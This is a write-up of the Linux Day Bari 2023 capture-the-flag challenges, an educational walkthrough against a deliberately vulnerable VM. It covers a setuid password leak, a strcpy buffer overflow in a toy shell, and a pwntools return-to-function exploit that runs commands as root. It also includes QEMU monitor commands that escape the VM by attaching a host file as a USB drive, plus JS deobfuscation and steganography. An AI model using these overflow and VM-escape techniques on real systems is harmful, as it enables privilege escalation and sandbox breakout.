Linux Day Bari 2023 CTF

· Nicola Guerrera, Domingo Dirutigliano, Nicola Pace

Linux Day Bari 2023 CTF Nicola Guerrera, Domingo Dirutigliano, Nicola Pace


Spin up the VM and replay the challenges here!


Shuffled in the disk

login: chall2
empty password (just press enter)

The challenge description tells us that the flag is located on an external disk attached to the VM.
Let’s look at /etc/fstab, a common file in *nix systems containing descriptive information about the filesystems the system can mount.

$ cat /etc/fstab
    /dev/sda /mnt/disk ext4 noauto,ro,user,noatime 0 0

It looks like an external disk, /mnt/disk, which can be mounted ready-only by the user.

$ # Let's mount it...
$ mount /mnt/disk
$ # Enter the directory and list its contents
$ cd /mnt/disk
$ ls
    flag_shuffled  lost+found
$ # There we go! Let's print the flag
$ cat flag_shuffled
    { 6
    j 80
    8 64
    d 98
    _ 218
    s 155
$ # As the chall description says, the flag is scrambled... Let's sort it!
$ # sort has a nice feature, it can sort on a specific coloumn by using -k n flag, where n is the coloumn we want to sort by.
$ # After sorting it, let's print it on the same line with some stream editing or awk!
$ sort -nk2 flag_shuffled | awk '{print $1}' ORS=

Password Guessing

login: chall3
empty password (just press enter)

The objective is reading /home/solve3/flag.

$ cat /home/solve3/flag
    cat: cant open '/home/solve3/flag': Permission denied
$ ls -l /home/solve3/flag
    -r--------    1 solve3   solve3          37 Nov  9 11:15 /home/solve3/flag

We can’t read it since only the user solve3 has read permission on that file…

The challenge description tells us that a setuid binary is needed in order to have the privilege to read it. Let’s find all setuid binraies.

$ find / -perm /4000 
$ # We found it! Let's run it!
$ /usr/bin/chall3
    Indovina la password !

Now that we found it, it asks us for a password. Let’s anaylize the binary with strings. This will show all the hardcoded/plaintext strings present in the binary.

$ strings /usr/bin/chall3
$ # Looks like that's the password!
$ /usr/bin/chall3
    Indovina la password !
    Inserisci: sudo_give_me_the_flag
    Congratulazioni, hai indovinato la password!


login: chall4
empty password (just press enter)

The objective is reading /home/solve4/flag, by abusing a buffer overflow in the setuid binary penguinsh.

Executing penguinsh leaves us with a beatuiful command intepreter, with a whopping 6 commands, all beautifully useless!

PenguinSH> help

--- HELP MENU ---

help -> show this menu
ls -> read every directory, no access control needed :)
cat -> shows a cat
penguinsay -> a cow that tells you something
sl -> Oh that's a train!
bash -> I will blame you

Let’s look at the source code of the binary with cat /usr/src/penguinsh/penguinsh.cpp:

// .....
typedef struct {
  char *line;
  char input[INPUT_LEN];
  uint8_t is_bash; // We hate bash bleah 0_0
} input_data;
// .....
int shell(){
  input_data in = {};
    memset(in.input,0, INPUT_LEN);
    in.line = readline("PenguinSH> ");
    if (in.line == NULL){
      puts("\nBye bye!");
      return EXIT_SUCCESS;
    strcpy(in.input, in.line);
    if (in.is_bash != 0 && in.is_bash != 0xff){
      // Run the commands as solve4!
      command_loader(in.input, INPUT_LEN);
  return EXIT_SUCCESS;
// ...

The line strcpy(in.input, in.line); leads to an unsafe memory copy: it lets the user copy arbitrary data inside the input_data struct and potentially overwrite is_bash, leading to the executing of the input data with a real shell (system(in.input);).

In fact, if we fill the input with more than 64 A’s, the shell will execute the command and complain:


To exploit this, we’ll just put the command we want to execute as solve4 at the beginning of the line, commenting the rest of the junk data used to overflow the buffer.


Stack root jumping

The objective is reading /root/flag, by fining other vluns in penguinsh.

To gain root privilages, we have to use the function that sets the uid to 0 (root) and execute the shell.

The problem is that looking at that function, we see it is never called in the program…


  • Looking at the title on the website, you see the “norandmaps” kernel paramether inserted into qemu, in fact cat /proc/sys/kernel/randomize_va_space returns 0: the addresses are not randomized
  • In the makefile used to compile the source code, you see that stack canaries are disabled
  • The is_bash flag is invalid if == 0 or also `0xff`` (it’s important because readline filters a lot of character in the input)

Now we are able to write the exploit

  1. From you favourite reverse engeneering tool you can get the bash function address: 0x8093754
  2. Add to this value using the static base address on the machine (in this case 0x5555555000)
  3. Build your address in little endian (according to arm arch)

You can build this using pwntools on your machine adding the initial padding, the 0xff byte to skip the is_bash check and finally the address.

Additionally you have to insert \n and \4 (CTRL+D) to trigger the return of the main function and jump to the bash function

After this you can insert the command to execute as root, so we can read the flag!

from pwn import *

bin = ELF("./penguinsh")
context.binary = bin

padding = b"A"*64
is_bash_skip = b"\xff"
additional_padding = b"A"*15
address = p64(0x5555555000+0x8093754)
end_penguin = b"\n\x04"
command = b"cat /root/flag"

payload = padding + is_bash_skip + additional_padding + address + end_penguin + command

print(f"execute this on the VM: printf {payload.__repr__()[1:]} | penguinsh")

Now we can just run it on the vm and…

AAAAAAAAAAAAAT\x87^]U\x00\x00\x00\n\x04cat /root/flag' | penguinsh
Command not found :(
Bye bye!

the command cat /root/flag gets executed as root and prints the flag!

VM Escape

In this challenge we need to break free from the virtual machine confines to unveil the hidden flag in the infrastructure…
The flag can be found in /app/flag inside the Docker container that spawns the VMs.

Paying close attention to the title of the web page, we can notice that ttyd (the program used to share a terminal session over http), is giving us full control of the qemu-system-aarch64 command.

Qemu is started with the -nographic flag, which give us access to the qemu console

         Normally, if QEMU is compiled with graphical window
         support, it displays output such as guest graphics,
         guest console, and the QEMU monitor  in  a  window.
         With this option, you can totally disable graphical
         output so that QEMU is a simple command line appli‐
         cation.   The emulated serial port is redirected on
         the console and  muxed  with  the  monitor  (unless
         redirected  elsewhere  explicitly).  Therefore, you
         can still use QEMU to debug a Linux kernel  with  a
         serial  console.   Use  C-a h for help on switching
         between the console and monitor.

Let’s try pressing Control+A and then h as the qemu manual says…

C-a h    print this help
C-a x    exit emulator
C-a s    save disk data back to file (if -snapshot)
C-a t    toggle console timestamps
C-a b    send break (magic sysrq)
C-a c    switch between console and monitor
C-a C-a  sends C-a

There we go, Control+A and then c let’s us access the console, let’s try it

QEMU 7.2.5 monitor - type 'help' for more information

Yup, this a really nice qemu feature that lets the user modify the state of the VM, and even adding/removing devices! Let’s use this to create a new drive pointing to the flag, then attach it as a usb storage device.

(qemu) drive_add 0 if=none,file=/app/flag,format=raw,id=disk1
(qemu) device_add usb-storage,bus=ehci.0,drive=disk1

Nice, we added the usb drive, and if we go back to the monitor with Control+A c, we can even see a new drive appearing:

$ fdisk -l
    fdisk: can't open '/dev/sdb': Permission denied

Now we just need to cat this but we don’t have any permission to do that. Fortunately the last challenge we solved gave us root access!

Let’s edit the command from the last exploit to:

command = b"cat /dev/sdb"

and execute it!

AAAAAAAAAAAAAT\x87^]U\x00\x00\x00\n\x04cat /dev/sdb' | penguinsh
Command not found :(
Bye bye!

Tux Clicker

This is a simple cookie clicker…

Let’s analyze the js code in the page:

// Add event listener to the tux
const tux = document.getElementById('tux');
const counter = document.getElementById('counter');
let count = 0;
let x = 10;

tux.addEventListener('click', () => {
    counter.textContent = count;
    tux.setAttribute('data-count', count);

    if (count % 100 === 0) {

    var _0x4cc433=_0x370d;function _0x370d(_0x476c2d,_0x439a43){var _0x594491=_0x5944();return _0x370d=function(_0x370d6d,_0x323b4a){_0x370d6d=_0x370d6d-0xf9;var _0x384d65=_0x594491[_0x370d6d];return _0x384d65;},_0x370d(_0x476c2d,_0x439a43);}(function(_0x110d6c,_0x282762){var _0x37b781=_0x370d,_0x34694f=_0x110d6c();while(!![]){try{var _0x3c08d5=-parseInt(_0x37b781(0x101))/0x1+parseInt(_0x37b781(0xf9))/0x2+parseInt(_0x37b781(0xff))/0x3*(parseInt(_0x37b781(0xfd))/0x4)+-parseInt(_0x37b781(0xfe))/0x5+parseInt(_0x37b781(0x100))/0x6*(-parseInt(_0x37b781(0xfa))/0x7)+parseInt(_0x37b781(0xfb))/0x8+parseInt(_0x37b781(0x102))/0x9*(parseInt(_0x37b781(0x103))/0xa);if(_0x3c08d5===_0x282762)break;else _0x34694f['push'](_0x34694f['shift']());}catch(_0x9152af){_0x34694f['push'](_0x34694f['shift']());}}}(_0x5944,0x1e940),x=count<<0x4,NOT_FLAG=0x499602d2);count==0x2540be3ff&&console['log'](_0x4cc433(0xfc)+(NOT_FLAG^x)+'}');function _0x5944(){var _0x3afa69=['329790XXPOrt','242450ARvtOR','9iCjbKx','1858970rzmxcN','1538YnfvJl','7lOtVVW','980064Asciby','Ben\x20fatto:\x20ecco\x20la\x20flag\x20LDBARI{','30388CmeYVt','78300QkeMrB','51AQHgiq'];_0x5944=function(){return _0x3afa69;};return _0x5944();}


It looks like there’s a lot of obfuscated code. Using a website such as gives us a better look at the code:

x = count << 0x4;
NOT_FLAG = 0x499602d2;
if (count == 0x2540be3ff) {
  console.log("Ben fatto: ecco la flag LDBARI{" + (NOT_FLAG ^ x) + '}');

You’d have to press the button 0x2540be3ff (9999999999) times. Let’s set the count to 9999999998 via the console and then press the button once!

Ben fatto: ecco la flag LDBARI{153632034}

There we go! The flag gets printed in the console.

Hidden in the penguin

The first few colors of the image aren’t perfectly white (#FFFFFF), the least significant bit is used to encode a secret message.

This is a commomd steganography technique called LSB. To extract it we can use a tool such as Cyberchef with the Extract LSB recipe.